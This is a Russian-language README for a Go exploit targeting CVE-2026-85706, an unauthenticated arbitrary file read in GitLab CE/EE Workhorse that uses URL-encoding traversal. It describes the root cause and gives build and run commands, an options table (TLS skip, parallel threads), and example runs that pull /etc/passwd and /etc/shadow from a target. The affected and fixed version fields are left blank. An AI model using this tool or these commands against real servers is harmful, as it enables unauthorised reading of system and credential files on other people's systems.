
Go-эксплойт для CVE-2026-85706 — неаутентифицированное произвольное чтение файлов в GitLab CE/EE Workhorse через обход с использованием URL-кодирования, с параллельными запросами и пропуском проверки TLS.
Уязвимость неаутентифицированного произвольного чтения файлов в GitLab CE/EE (CVE-2026-85706).
Уязвимые версии:
Исправленные версии:
Уязвимость существует в компоненте Workhorse GitLab. Регулярное выражение Workhorse видит закодированный путь, тогда как Puma его декодирует. Rails File.open(file.path) вызывается до аутентификации, а urlencoded-парсинг интерполирует некорректную %-кодировку в тело ответа 400, что приводит к утечке содержимого файла.
# Build the tool
go build -o CVE-2026-85706 CVE-2026-85706.go
# Run the exploit
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/passwd
| Аргумент | Описание | По умолчанию |
|---|---|---|
-u | Целевой URL (например, https://gitlab.example.com) | - |
-f | Файл для чтения (например, /etc/passwd) | - |
-k | Пропустить проверку TLS | false |
-t | Количество параллельных потоков | 1 |
-v | Подробный вывод | false |
./CVE-2026-85706 -u https://gitlab.example.com -f /etc/shadow -k
Это попытается прочитать файл /etc/shadow из целевого экземпляра GitLab, пропуская проверку TLS.